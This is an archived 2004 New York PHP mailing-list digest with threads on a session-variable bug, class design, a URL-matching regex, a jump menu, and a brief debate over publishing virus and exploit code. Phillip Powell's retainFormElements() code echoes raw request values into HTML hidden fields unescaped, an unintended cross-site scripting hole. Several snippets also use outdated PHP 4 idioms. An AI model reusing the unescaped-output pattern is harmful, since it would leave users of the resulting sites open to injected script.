From phillip.powell at adnet-sys.com  Sat May  1 16:38:11 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Sat, 01 May 2004 16:38:11 -0400
Subject: [nycphp-talk] 
	Problem with $_SESSION, PHP 4.3.2, register_globals off,
	class methods
Message-ID: <40940AB3.6090507@adnet-sys.com>

Very first lines of index.php:

[PHP]
session_start();        // USED FOR ANY STORED SESSION VARIABLES (ONLY 
HAS TO BE SET HERE)
echo "PHPSESSID = $PHPSESSID<P>";
echo "SESSION the moment you first enter this script of $PHP_SELF is: "; 
print_r(array_keys($_SESSION)); echo'<P>';
[/PHP]

This is what you see the moment you first go into index.php and have not 
yet submitted a search query:

[QUOTE]
PHPSESSID = a964d0d6683757cafbe5576737ea5bf9

SESSION the moment you first enter this script of 
/image_catalog/index.php is: Array ( [0] => search [1] => sql )
[/QUOTE]

Ok, now you submitted a search query.  You entered some form stuff and 
submitted.  You're now at the search results page (which is also 
"index.php"); this is what you see:

[QUOTE]
PHPSESSID = a964d0d6683757cafbe5576737ea5bf9

SESSION the moment you first enter this script of 
/image_catalog/index.php is: Array ( [0] => search [1] => sql )

GET: Array ( )

POST: Array ( [0] => image_name [1] => allAlbums [2] => album [3] => 
boolword [4] => keywords [5] => persons [6] => events [7] => image_alt 
[8] => image_creation_start_month [9] => image_creation_start_day [10] 
=> image_creation_start_year [11] => image_creation_end_month [12] => 
image_creation_end_day [13] => image_creation_end_year [14] => 
image_location_city [15] => image_location_state [16] => 
image_location_country [17] => sortBy [18] => search [19] => 
isFromSearch [20] => section )

SESSION: Array ( [0] => search [1] => sql )

PHPSESSID = a964d0d6683757cafbe5576737ea5bf9

SESSION after setting it is: Array ( [0] => search [1] => sql [2] => 
hidden )
[/QUOTE]

(note: to save space and sensitive info I am not doing: 
[PHP]print_r($_POST);[/PHP] but instead I'm using 
[PHP]print_r(array_keys($_POST));[/PHP], and the same with $_GET)

$_SESSION['sql'] is set via an instance of SearchPerformer object that 
runs the generateSearchSQL() method:

[PHP]
class SearchPerformer extends DBActionPerformer {

 function SearchPerformer () {  // CONSTRUCTOR
  $this->doSearch();            // THIS METHOD RUNS generateSearchSQL()
 }

 function &displayResults() {     // STATIC HTML STRING METHOD
  $html  = SearchView::retainFormElements($html);    // SEE BELOW FOR 
CODE DETAIL
  // DO MORE STUFF TO $html
  return $html;
 }

 function generateSearchSQL() {    // SQL STRING METHOD
  // BUILD $sql HERE WITH STUFF
  $_SESSION['sql'] = $sql;
  // DO MORE STUFF
  return $sql;
 }

}

$performer =& new SearchPerformer(); // CONSTRUCTOR
[/PHP]

So everything is fine so far; I have $_SESSION['sql'] and I even have 
$_SESSION['hidden'] which is set via the displayResults() method in the 
SearchPerformer object, it running this class method (class SearchView 
is *NOT* instantiated here!!!):

[PHP]
class SearchView extends View {

     function SearchView() {}    // CONSTRUCTOR (you will be 
instantiating SearchView objects elsewhere, just not in 
SearchPerformer's methods)

     function &retainFormElements(&$html) {                // STATIC 
HTML METHOD
                print_r("<P>GET: "); print_r(array_keys($_GET)); 
print_r("<P>POST: "); print_r(array_keys($_POST));
print_r("<P>SESSION: "); print_r(array_keys($_SESSION)); print_r("<P>");
        if ((!is_array($_POST) || @sizeof(array_values($_POST)) == 0) &&
$_SESSION['hidden']) {
         $html .= $_SESSION['hidden'];
        } else {
        
 /*--------------------------------------------------------------------------------------------------------------------
            Set $collection to either $_POST (if form post variables 
exist in $_POST) or default to $_GET
            to parse through either/or and produce HTML hidden elements 
in either case
        
 ---------------------------------------------------------------------------------------------------------------------*/
         $collection = ($_POST && is_array($_POST) && 
@sizeof(array_values($_POST)) > 0) ? $_POST : $_GET;
         foreach ($collection as $key => $val) {
          if (!is_array($val)) {
           $hiddenHTMLRetainer .= "<input type=\"hidden\" name=\"$key\" 
value=\"$val\">\n";
           $html .= "<input type=\"hidden\" name=\"$key\" 
value=\"$val\">\n";    // ADD FROM QS TO PASS BACK
          } else {
           foreach ($val as $innerKey => $indivVal) {
            if ($indivVal) {
             $hiddenHTMLRetainer .= "<input type=\"hidden\" name=\"${key}[";
             $html .= "<input type=\"hidden\" name=\"${key}[";
             if (!is_numeric($innerKey)) $html .= $innerKey;    // 
NUMERICAL KEYS DO NOT NEED TO BE PLACED INTO HTML ARRAY-FORMATTABLE FORM 
ELEMENTS
             if (!is_numeric($innerKey)) $hiddenHTMLRetainer .= $innerKey;
             $html .= "]\" value=\"$indivVal\">\n";    // PUT IN 
INDIVIDUAL ARRAY ELEMENTS
             $hiddenHTMLRetainer .= "]\" value=\"$indivVal\">\n";
            }
           }
          }
         }
         $_SESSION['hidden'] = $hiddenHTMLRetainer;
         global $PHPSESSID;
         print_r("PHPSESSID = "); print_r($PHPSESSID); print_r("<P>");
         print_r('SESSION after setting it is: '); 
print_r(array_keys($_SESSION));
        }
        return $html;
    }

}
[/PHP]
Now, in the search results page I click a link to sort my results.  The 
link takes me back to, you guessed it, index.php (in fact, every single 
portion of my application literally has only one address: "index.php" 
and nowhere else).  The moment I do that, this is what I see:

[QUOTE]
PHPSESSID = a964d0d6683757cafbe5576737ea5bf9

SESSION the moment you first enter this script of 
/mu-spin/image_catalog/index.php is: Array ( [0] => search [1] => sql )

GET: Array ( [0] => section [1] => search [2] => isSort [3] => sortBy )

POST: Array ( )

SESSION: Array ( [0] => search [1] => sql )

PHPSESSID = a964d0d6683757cafbe5576737ea5bf9

SESSION after setting it is: Array ( [0] => search [1] => sql [2] => 
hidden )
[/QUOTE]

This is totally wrong!!! The $_SESSION['hidden'] variable is gone!!! It 
is, in fact, erroneously RESET once again (with the wrong values), 
whereas it was supposed to have been retained within $_SESSION 
superglobal array, yet it is not.

I hope this makes it a bit more clear as to what is literally going on.

Synopsis:

1) I go to index.php
2) I see $_SESSION
3) I submit form elements
4) I see $_SESSION
5) I add $_SESSION['sql'] in generateSearchSQL() method
6) I add $_SESSION['hidden'] in SearchView::retainFormElements() method
7) I see $_SESSION with both elements
8) I click a link to go back to index.php
9) I see $_SESSION.. with just 'sql' and NOT 'hidden'
10) I tear my hair out, what little I have left!

Phil

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From cwf at axlotl.net  Sat May  1 18:50:33 2004
From: cwf at axlotl.net (chris)
Date: Sat, 1 May 2004 18:50:33 -0400
Subject: [nycphp-talk] confused by classes
Message-ID: <200405011850.34004.cwf@axlotl.net>

The first program I wrote a couple months ago was (of course) an email program 
and now I feel it's time to try to learn the OOP aspects, so I thought I'd 
rewrite that program. After a few days, I've become utterly confused. I've 
been trying to figure out which question to ask; this one seems to capture 
several of the issues confusing me.

Each user can have several mail servers, and it seemed useful to start once a 
user logged into a session by constructing an object containing server 
addresses and passwords, and then maybe add in methods as needed. So I made 
this class (stripped down):

class mailUser{
? ? ? ? var $user;
function mailUser ($user){
? ? $dsn = 'mysql://username:pass at localhost/db';
? ? $dbh = DB::connect($dsn);
? ? $user = $dbh->quote($user);
? ? $this->user = $dbh->getAssoc("SELECT server, m_user, m_pass, pop, smtp, 
u.name
? ? ? ? FROM servers s, users u, server_pass sp
? ? ? ? WHERE sp.user_id = u.id
? ? ? ? AND sp.server_id = s.id
? ? ? ? AND u.username LIKE $user");
? ? }
}

And then when a user is logged in (returns $user ) I go:
$cur_user = new mailUser($user);

This gives me an object with an array of servers, each of those having an 
array of parameters. But I guess what I really need, maybe, is a class that 
returns 
$this->server
with a few methods (seperate queries?) to extract the parameters specific to 
the currently active server? I'm trying that now, but it's maybe my twelfth 
scheme, and it'd be nice once it fails to pan out to check this list to see 
if anyone has some pointers. 

So, I realize it's a rather broad query; anyone in a pedagogical frame of mind 
today?

Ending my lurking ways,
Chris


From jonbaer at jonbaer.net  Sat May  1 21:17:05 2004
From: jonbaer at jonbaer.net (jon baer)
Date: Sat, 1 May 2004 21:17:05 -0400
Subject: [nycphp-talk] [ot] open source "Security" is amazing to watch ...
Message-ID: <004e01c42fe3$40cffa30$6500a8c0@thinkpad>

if you are on bugtraq or other "security" related lists, its amazing how
fast things go from discovery to exposure to exploit code to viruses in
literally hours ...

http://www.microsoft.com/security/incident/sasser.asp

what in the world can the point be to post virus code when you *know* it
will always be used for bad purposes in the end?

- jon

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fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47



From Rafi.Sheikh at Ingenix.com  Sun May  2 21:17:25 2004
From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh)
Date: Sun, 2 May 2004 20:17:25 -0500 
Subject: [nycphp-talk] RE: [tcphp] Hella fun project I'm about to throw at
	some tech col lege students
Message-ID: <C92A8F8B60F96B42911EFA70AF30A88F060A46CA@msp7-msx1.ingenix.com>

Hi List.   A quick question.  I have some categories that are really long
and I would like to re-word or re-format them when I am bring data in from a
DB.  Now which would be better:

Do it with PHP
or
Do it with MySQL

Any suggestions as to how to?

Example:
A column name: Customer --> VARCHAR
Values in Customer: "USA-North Upper ABVDFR Co. and Sons" 

I would like to re-word it for example: ABVDFR Co.

I know I could use SUBSTRING or MID, or replace but the issue is since the
column is a VARCHAR, the length of the value may change from row to row, for
example: one row it maybe 20, in the next 13 and so on so forth.  I also
thought that if I could use a length statement and come up with a
formula...but so far no success....any suggestions?

Thx in Adv.

RS


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From danielc at analysisandsolutions.com  Sun May  2 23:10:49 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Sun, 2 May 2004 23:10:49 -0400
Subject: [nycphp-talk] confused by classes
In-Reply-To: <200405011850.34004.cwf@axlotl.net>
References: <200405011850.34004.cwf@axlotl.net>
Message-ID: <20040503031049.GA22394@panix.com>

On Sat, May 01, 2004 at 06:50:33PM -0400, chris wrote:

First, your coding style needs improvement.  See 
http://pear.php.net/manual/en/standards.php

> class mailUser{
> ? ? ? ? var $user;
> function mailUser ($user){
> ? ? $dsn = 'mysql://username:pass at localhost/db';
> ? ? $dbh = DB::connect($dsn);

Assign the return by reference in order to conserve memory, etc:
  ? ? $dbh =& DB::connect($dsn);

> ? ? $user = $dbh->quote($user);

quote() is deprecated.  Use quoteSmart().


> ? ? $this->user = $dbh->getAssoc("SELECT server, m_user, m_pass, pop, smtp, 
... snip ...

So, there can be multiple rows of data returned for a given user?  If it's
only one row, use getRow().

>? ? ? ? AND u.username LIKE $user");

Don't you mean "= $user" rather than "LIKE $user"?


> And then when a user is logged in (returns $user ) I go:
> $cur_user = new mailUser($user);

Again, do that with "=&" to assign by reference instead of assigning a 
copy.


> This gives me an object with an array of servers, each of those having an 
> array of parameters. But I guess what I really need, maybe, is a class that 
> returns 
> $this->server
> with a few methods (seperate queries?) to extract the parameters specific to 
> the currently active server?

It's not clear what you're looking for here.

--Dan

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From shiflett at php.net  Mon May  3 02:37:21 2004
From: shiflett at php.net (Chris Shiflett)
Date: Sun, 2 May 2004 23:37:21 -0700 (PDT)
Subject: [nycphp-talk] [ot] open source "Security" is amazing to watch ...
In-Reply-To: <004e01c42fe3$40cffa30$6500a8c0@thinkpad>
Message-ID: <20040503063721.47469.qmail@web14311.mail.yahoo.com>

--- jon baer <jonbaer at jonbaer.net> wrote:
> what in the world can the point be to post virus code when you
> *know* it will always be used for bad purposes in the end?

While posting a virus definitely seems to cross an ethical boundary of
some sort, I think an exploit is an essential piece of a security
vulnerability announcement. It really helps developers to both clearly
understand the vulnerability and gauge the danger. However, this is
frequently debated.

Chris

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From yury at heavenspa.com  Mon May  3 09:44:06 2004
From: yury at heavenspa.com (yury at heavenspa.com)
Date: Mon, 3 May 2004 09:44:06 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
References: <40926961.90608@ceruleansky.com> <20040430150050.GA27073@panix.com>
Message-ID: <00a401c43114$b4551bc0$0400a8c0@heavenspanyc>

Hiya folks.. was juts sitting here wondering if there was a way to make a
jump menu that got its info from a flat file.
This way you can just drop the jump menu into your web pages and have 1 file
( text/php/include) which changes the
jump menu details accross the whole website..

any ideas? and is this even possible.
regards
yury




From danielc at analysisandsolutions.com  Mon May  3 10:00:21 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 3 May 2004 10:00:21 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
In-Reply-To: <00a401c43114$b4551bc0$0400a8c0@heavenspanyc>
References: <40926961.90608@ceruleansky.com> <20040430150050.GA27073@panix.com>
	<00a401c43114$b4551bc0$0400a8c0@heavenspanyc>
Message-ID: <20040503140020.GA22575@panix.com>

Hola:

On Mon, May 03, 2004 at 09:44:06AM -0400, yury at heavenspa.com wrote:
> Hiya folks.. was juts sitting here wondering if there was a way to make a
> jump menu that got its info from a flat file.

I use an array contained in a separate for navigation items on some sites.  
The array's key is the name of the file and the value is the text to 
appear in the hyperlink.

Later,

--Dan

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From yury at heavenspa.com  Mon May  3 10:09:36 2004
From: yury at heavenspa.com (yury at heavenspa.com)
Date: Mon, 3 May 2004 10:09:36 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
References: <40926961.90608@ceruleansky.com>
	<20040430150050.GA27073@panix.com><00a401c43114$b4551bc0$0400a8c0@heavenspanyc>
	<20040503140020.GA22575@panix.com>
Message-ID: <00d101c43118$445df180$0400a8c0@heavenspanyc>

Dan, can you please reply with a simple/easy to follow example
thanks
yury



----- Original Message ----- 
From: "Daniel Convissor" <danielc at analysisandsolutions.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, May 03, 2004 10:00 AM
Subject: Re: [nycphp-talk] dynamic jump menu from flatfile


> Hola:
>
> On Mon, May 03, 2004 at 09:44:06AM -0400, yury at heavenspa.com wrote:
> > Hiya folks.. was juts sitting here wondering if there was a way to make
a
> > jump menu that got its info from a flat file.
>
> I use an array contained in a separate for navigation items on some sites.
> The array's key is the name of the file and the value is the text to
> appear in the hyperlink.
>
> Later,
>
> --Dan
>
> -- 
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>             data intensive web and database programming
>                 http://www.AnalysisAndSolutions.com/
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> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
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From danielk at us.ibm.com  Mon May  3 10:13:49 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Mon, 3 May 2004 10:13:49 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
In-Reply-To: <00a401c43114$b4551bc0$0400a8c0@heavenspanyc>
Message-ID: <OFF3488093.A51D7EEB-ON85256E89.004CD0F7-85256E89.004E2A1B@us.ibm.com>





>Hiya folks.. was juts sitting here wondering if there was a way to make a
>jump menu that got its info from a flat file.


Certainly is possible, try something like this...

<?php

function drawNav () {
      // items.txt would look like this:
      // http://ibm.com/|IBM.com
      // http://google.com/|Google
      $lines = file('items.txt');
      $html = '<select onchange="go(this);"></select>';

      foreach ($lines as $line) {
            $items = explode('|', $line);
            $html .= sprintf('<option value="' . $items[0] . '">' .
$items[1] . '</option>');
      }

      echo ($html . '</select>');
}



The JavaScript function in the select tag is:

/**
 * Jumps to the selected item in the dropdown list .
 */
function go (dropdown) {
             location.href =
dropdown.options[dropdown.selectedIndex].value;
}







Daniel Krook, Application Developer
WW Web Production Services North 2, ibm.com
1133 Westchester Avenue, White Plains, NY 10604

Personal: http://info.krook.org/
Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897



From danielc at analysisandsolutions.com  Mon May  3 10:17:12 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 3 May 2004 10:17:12 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
In-Reply-To: <00d101c43118$445df180$0400a8c0@heavenspanyc>
References: <40926961.90608@ceruleansky.com> <20040503140020.GA22575@panix.com>
	<00d101c43118$445df180$0400a8c0@heavenspanyc>
Message-ID: <20040503141712.GA23559@panix.com>

Yuri:

On Mon, May 03, 2004 at 10:09:36AM -0400, yury at heavenspa.com wrote:
> Dan, can you please reply with a simple/easy to follow example
> thanks

See http://nyphp.org/content/presentations/bikesummer/navigation.php
and the frame after it as well.

The example doesn't show the foreach loop used to extract the data from
the array and print out the stuff, but here's a summary:

foreach ($Nav1 as $Page => $Title) {
   echo '<a href="' . $Page . '/' . $Page . '.php">' . $Title . "</a>\n";
}

--Dan

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From danielk at us.ibm.com  Mon May  3 10:18:38 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Mon, 3 May 2004 10:18:38 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
In-Reply-To: <OFF3488093.A51D7EEB-ON85256E89.004CD0F7-85256E89.004E2A1B@us.ibm.com>
Message-ID: <OF31DAE2A1.404F8B87-ON85256E89.004E8BA2-85256E89.004E9B09@us.ibm.com>





Sorry, Monday morning.  My example should have looked like this:


<?php

function drawNav () {
      // items.txt would look like this:
      // http://ibm.com/|IBM.com
      // http://google.com/|Google
      $lines = file('items.txt');
      $html = '<select onchange="go(this);">';

      foreach ($lines as $line) {
            $items = explode('|', $line);
            $html .= sprintf('<option value="%s">%s</option>', $items[0],
$items[1]);
      }

      echo ($html . '</select>');
}





Daniel Krook, Application Developer
WW Web Production Services North 2, ibm.com
1133 Westchester Avenue, White Plains, NY 10604

Personal: http://info.krook.org/
Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897




From danielc at analysisandsolutions.com  Mon May  3 10:18:54 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 3 May 2004 10:18:54 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
In-Reply-To: <OFF3488093.A51D7EEB-ON85256E89.004CD0F7-85256E89.004E2A1B@us.ibm.com>
References: <00a401c43114$b4551bc0$0400a8c0@heavenspanyc>
	<OFF3488093.A51D7EEB-ON85256E89.004CD0F7-85256E89.004E2A1B@us.ibm.com>
Message-ID: <20040503141854.GB23559@panix.com>

Folks:

On Mon, May 03, 2004 at 10:13:49AM -0400, Daniel Krook wrote:
> 
> function drawNav () {
... snip ...
>       $html = '<select onchange="go(this);"></select>';

Of course, don't forget to embed that in a <form> element for those who 
have JavaScript turned off.

--Dan

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From yury at heavenspa.com  Mon May  3 10:46:15 2004
From: yury at heavenspa.com (yury at heavenspa.com)
Date: Mon, 3 May 2004 10:46:15 -0400
Subject: [nycphp-talk] dynamic jump menu from flatfile
References: <00a401c43114$b4551bc0$0400a8c0@heavenspanyc><OFF3488093.A51D7EEB-ON85256E89.004CD0F7-85256E89.004E2A1B@us.ibm.com>
	<20040503141854.GB23559@panix.com>
Message-ID: <010701c4311d$63392ac0$0400a8c0@heavenspanyc>

Thanks Dan C & Dan K :)

ciao
yury


----- Original Message ----- 
From: "Daniel Convissor" <danielc at analysisandsolutions.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, May 03, 2004 10:18 AM
Subject: Re: [nycphp-talk] dynamic jump menu from flatfile


> Folks:
> 
> On Mon, May 03, 2004 at 10:13:49AM -0400, Daniel Krook wrote:
> > 
> > function drawNav () {
> ... snip ...
> >       $html = '<select onchange="go(this);"></select>';
> 
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> 
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From tgales at tgaconnect.com  Mon May  3 13:45:12 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 3 May 2004 13:45:12 -0400
Subject: [nycphp-talk] PHP Training at New York PHP
Message-ID: <000201c43136$62f22d50$e98d3818@oberon1>



I am looking for low cost (but effective)
venues to advertise upcoming PHP training 
sessions at New York on a continuing basis.

Incidentally, the next training is scheduled 
for May 17-18 (you can see the course outline at:
http://nyphp.org/content/training/twodaycourse.php )

Please contact me off list at:

tim.gales at nyphp.org

with any ideas.


Thanks in advance,

Tim Gales




From jayeshsh at ceruleansky.com  Mon May  3 14:30:48 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Mon, 03 May 2004 14:30:48 -0400
Subject: [nycphp-talk] regexp for URLs (is this correct?)
Message-ID: <40968FD8.6090109@ceruleansky.com>

Hello all,

I came up with this Perl-style regular expression to validate URLs.

For example, if I want to match "http://www.google.com"
then I would test it against the following pattern:

#^([a-z]{3,}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i

maybe I want to do something like this though:

#^([a-z]{3,5}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i

so that
http://www.google.com

and
ftp://ftp.mozilla.org

and
https://www.amazon.com

are matched

but
httpsabc://www.somewhere.com

is not matched.

I primarily want to validate http:// links, though.

Another thought: I want to be flexible and allow the user to enter 
something like:

www.google.com

Should I first try to match against:
#^([a-z]{3,5}://)(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i

and then, if that fails against:
#^(([0-9a-z-]+\.)+[0-9a-z]{2,4})$#i

I also realize that something like
http://www.google.com/

will not be matched.

Any suggestions or corrections?

Thanks in advance!

Best Regards,

- Jay




From james at surgam.net  Mon May  3 14:45:53 2004
From: james at surgam.net (James B. Wetterau Jr.)
Date: Mon, 03 May 2004 14:45:53 -0400
Subject: Subject: Re: [nycphp-talk] regexp for URLs (is this correct?)
Message-ID: <40969361.3020502@surgam.net>

Jayesh Sheth says:
 > Hello all,
 >
 > I came up with this Perl-style regular expression to validate URLs.
...
 > Any suggestions or corrections?
...

A Perl expert of some repute did the hard work of reading all the
relevant protocol specs, BNF notation, etc., and came up with this
valid URL parsing regexp.  Anything shorter is likely to miss some
special case.

This is an article about how to do this:
http://www.foad.org/~abigail/Perl/url2.html
(Note that there were some judgement calls involved in interpretation
of some of the edge cases.)

This is the URL for the actual regexp:
http://www.foad.org/~abigail/Perl/url3.regex

This is the regexp (note that it is broken up into many lines but 
actually needs to be
one long line; note also that it does not support https):

(?:http://(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?)\.
)*(?:[a-zA-Z](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?))|(?:(?:\d+)(?:\.(?:\d+)
){3}))(?::(?:\d+))?)(?:/(?:(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F
\d]{2}))|[;:@&=])*)(?:/(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{
2}))|[;:@&=])*))*)(?:\?(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{
2}))|[;:@&=])*))?)?)|(?:ftp://(?:(?:(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?
:%[a-fA-F\d]{2}))|[;?&=])*)(?::(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-
fA-F\d]{2}))|[;?&=])*))?@)?(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-
)*[a-zA-Z\d])?)\.)*(?:[a-zA-Z](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?))|(?:(?
:\d+)(?:\.(?:\d+)){3}))(?::(?:\d+))?))(?:/(?:(?:(?:(?:[a-zA-Z\d$\-_.+!
*'(),]|(?:%[a-fA-F\d]{2}))|[?:@&=])*)(?:/(?:(?:(?:[a-zA-Z\d$\-_.+!*'()
,]|(?:%[a-fA-F\d]{2}))|[?:@&=])*))*)(?:;type=[AIDaid])?)?)|(?:news:(?:
(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{2}))|[;/?:&=])+@(?:(?:(
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\$\-_.!~*'(),])|(?:%[a-fA-F\d]{2})|[:@&=+])*))*)?)))









From phillip.powell at adnet-sys.com  Mon May  3 14:57:03 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Mon, 03 May 2004 14:57:03 -0400
Subject: Subject: Re: [nycphp-talk] regexp for URLs (is this correct?)
In-Reply-To: <40969361.3020502@surgam.net>
References: <40969361.3020502@surgam.net>
Message-ID: <409695FF.8050802@adnet-sys.com>

I would think to simply support "https" all you would have to do is 
change "http://" to ((?:https)|(?:http://...))

Then again, it's pretty beastly as it is!  If that's not a call for a 
global included variable, what is?

Phil

James B. Wetterau Jr. wrote:

> Jayesh Sheth says:
> > Hello all,
> >
> > I came up with this Perl-style regular expression to validate URLs.
> ...
> > Any suggestions or corrections?
> ...
>
> A Perl expert of some repute did the hard work of reading all the
> relevant protocol specs, BNF notation, etc., and came up with this
> valid URL parsing regexp.  Anything shorter is likely to miss some
> special case.
>
> This is an article about how to do this:
> http://www.foad.org/~abigail/Perl/url2.html
> (Note that there were some judgement calls involved in interpretation
> of some of the edge cases.)
>
> This is the URL for the actual regexp:
> http://www.foad.org/~abigail/Perl/url3.regex
>
> This is the regexp (note that it is broken up into many lines but 
> actually needs to be
> one long line; note also that it does not support https):
>
> (?:http://(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?)\.
> )*(?:[a-zA-Z](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?))|(?:(?:\d+)(?:\.(?:\d+)
> ){3}))(?::(?:\d+))?)(?:/(?:(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F
> \d]{2}))|[;:@&=])*)(?:/(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{
> 2}))|[;:@&=])*))*)(?:\?(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{
> 2}))|[;:@&=])*))?)?)|(?:ftp://(?:(?:(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?
> :%[a-fA-F\d]{2}))|[;?&=])*)(?::(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-
> fA-F\d]{2}))|[;?&=])*))?@)?(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-
> )*[a-zA-Z\d])?)\.)*(?:[a-zA-Z](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?))|(?:(?
> :\d+)(?:\.(?:\d+)){3}))(?::(?:\d+))?))(?:/(?:(?:(?:(?:[a-zA-Z\d$\-_.+!
> *'(),]|(?:%[a-fA-F\d]{2}))|[?:@&=])*)(?:/(?:(?:(?:[a-zA-Z\d$\-_.+!*'()
> ,]|(?:%[a-fA-F\d]{2}))|[?:@&=])*))*)(?:;type=[AIDaid])?)?)|(?:news:(?:
> (?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{2}))|[;/?:&=])+@(?:(?:(
> ?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d])?)\.)*(?:[a-zA-Z](?:(?:[
> a-zA-Z\d]|-)*[a-zA-Z\d])?))|(?:(?:\d+)(?:\.(?:\d+)){3})))|(?:[a-zA-Z](
> ?:[a-zA-Z\d]|[_.+-])*)|\*))|(?:nntp://(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[
> a-zA-Z\d]|-)*[a-zA-Z\d])?)\.)*(?:[a-zA-Z](?:(?:[a-zA-Z\d]|-)*[a-zA-Z\d
> ])?))|(?:(?:\d+)(?:\.(?:\d+)){3}))(?::(?:\d+))?)/(?:[a-zA-Z](?:[a-zA-Z
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> 9]\d*)))?)|(?:(?:(?:(?:[a-zA-Z\d$\-_.+!*'(),]|(?:%[a-fA-F\d]{2}))|[&=~
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> )?)|(?:nfs:(?:(?://(?:(?:(?:(?:(?:[a-zA-Z\d](?:(?:[a-zA-Z\d]|-)*[a-zA-
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> (),])|(?:%[a-fA-F\d]{2})|[:@&=+])*)(?:/(?:(?:(?:[a-zA-Z\d\$\-_.!~*'(),
> ])|(?:%[a-fA-F\d]{2})|[:@&=+])*))*)?)))?)|(?:/(?:(?:(?:(?:(?:[a-zA-Z\d
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> -_.!~*'(),])|(?:%[a-fA-F\d]{2})|[:@&=+])*))*)?))|(?:(?:(?:(?:(?:[a-zA-
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From epaul at speakeasy.net  Mon May  3 14:56:54 2004
From: epaul at speakeasy.net (epaul at speakeasy.net)
Date: Mon, 03 May 2004 18:56:54 +0000
Subject: [nycphp-talk] PHP Training at New York PHP
Message-ID: <W102164574124911083610614@webmail4>

Tim,

In the next week or two, I will be launching a new PHP training
portal web site. The site should be an excellent medium to
promote PHP training courses. The site is still under dev BUT
should be ready in a week or two. I'll send an email once the
site launches.

Evan

> -----Original Message-----
> From: Tim Gales [mailto:tgales at tgaconnect.com]
> Sent: Monday, May 3, 2004 05:45 PM
> To: talk at lists.nyphp.org
> Subject: [nycphp-talk] PHP Training at New York PHP
> 
> 
> 
> I am looking for low cost (but effective)
> venues to advertise upcoming PHP training 
> sessions at New York on a continuing basis.
> 
> Incidentally, the next training is scheduled 
> for May 17-18 (you can see the course outline at:
> http://nyphp.org/content/training/twodaycourse.php )
> 
> Please contact me off list at:
> 
> tim.gales at nyphp.org
> 
> with any ideas.
> 
> 
> Thanks in advance,
> 
> Tim Gales
> 
> 
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From tgales at tgaconnect.com  Mon May  3 15:23:21 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 3 May 2004 15:23:21 -0400
Subject: [nycphp-talk] PHP Training at New York PHP
In-Reply-To: <W102164574124911083610614@webmail4>
Message-ID: <001801c43144$193b2460$e98d3818@oberon1>


Thanks, that's great news.

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com

P.S. Good Luck on your launch --
     let me know if there's something 
       I can do to help (off list)

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> Sent: Monday, May 03, 2004 2:57 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] PHP Training at New York PHP
> 
> 
> Tim,
> 
> In the next week or two, I will be launching a new PHP 
> training portal web site. The site should be an excellent 
> medium to promote PHP training courses. The site is still 
> under dev BUT should be ready in a week or two. I'll send an 
> email once the site launches.
> 
> Evan
> 
> > -----Original Message-----
> > Sent: Monday, May 3, 2004 05:45 PM
> > To: talk at lists.nyphp.org
> > Subject: [nycphp-talk] PHP Training at New York PHP
> > 
> > 
> > 
> > I am looking for low cost (but effective)
> > venues to advertise upcoming PHP training
> > sessions at New York on a continuing basis.
> > 
